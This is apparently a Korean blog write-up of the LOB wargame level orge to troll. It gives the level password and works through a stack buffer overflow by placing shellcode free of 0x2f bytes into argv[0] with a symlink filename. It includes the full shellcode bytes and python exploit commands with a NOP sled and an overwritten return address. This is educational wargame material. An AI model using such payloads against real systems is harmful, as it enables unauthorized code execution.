System&Write up/LOB

LOB orge -> troll Write up

Jubil 2017. 10. 9. 21:58
반응형

LOB orge -> troll

 

ID : orge

Passwd : timewalker

 


접속해서 ls 명령어로 파일을 확인합니다.

 


cat 명령으로 code를 열어봅니다.

 

darkelf에서 추가됐던 argv[0] 길이 체크가 사라지고, argc2(파일명 + 인자), argv[1]을 초기화하네요.

 

그럼 argv[0]에 셸코드를 집어 넣어야 할 것 같습니다.

셸코드를 파일명으로 가지는 파일을 만듭니다.

 


그런데 잘 되지 않는다.

이유는 셸코드에 ‘\x2f’ 문자가 ‘/’로 인식돼 이상한 경로로 나뉘게 됩니다. 그래서 ‘\x2f’가 없는 셸코드를 써야합니다.

 

"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" 제가 쓴 셸코드는 이러합니다.

 


만들어졌네요.

 

그럼 파일명이 어디에 있을지 한번 찾아보겠습니다.


 

gdb로 파일을 열어봅니다.

 


저 부분을 string 형태로 보도록 하겠습니다.

 


셸코드 부분이 있네요. 저게 ret 명령을 수행할 때까지 존재하나 확인하기 위해 leavebreakpoint를 걸겠습니다.

 


 


argv[0] 빼고는 다 초기화 된 모습입니다.

 

그럼 공격해보겠습니다.

payload : ./`python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python –c ‘print “A”*44 + “\x10\xfb\xff\xbf"’`

 


core 파일입니다. 열어보겠습니다.

 


그새 어디로 이사 했나 봅니다:( 앞쪽 부분을 보겠습니다.

 


찾았습니다. 적당하게 Return Address0xbffffa90으로 변조해서 원본 파일에 공격해보겠습니다.

 

 

아까와 동일하지만 NOP101개 박아준 원본 참조 파일을 만들겠습니다.

 

ln -s ../troll `python -c 'print "\x90"*101 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


 

 

payload : ./`python -c 'print "\x90"*101 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python –c ‘print “A”*44 + “\x90\xfa\xff\xbf"’`

 


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB vampire -> skeleton Write up  (0) 2017.10.11
LOB troll -> vampire Write up  (0) 2017.10.10
LOB darkelf -> orge Write up  (0) 2017.10.09
LOB wolfman -> darkelf Write up  (0) 2017.10.07
LOB orc -> wolfman Write up  (0) 2017.10.07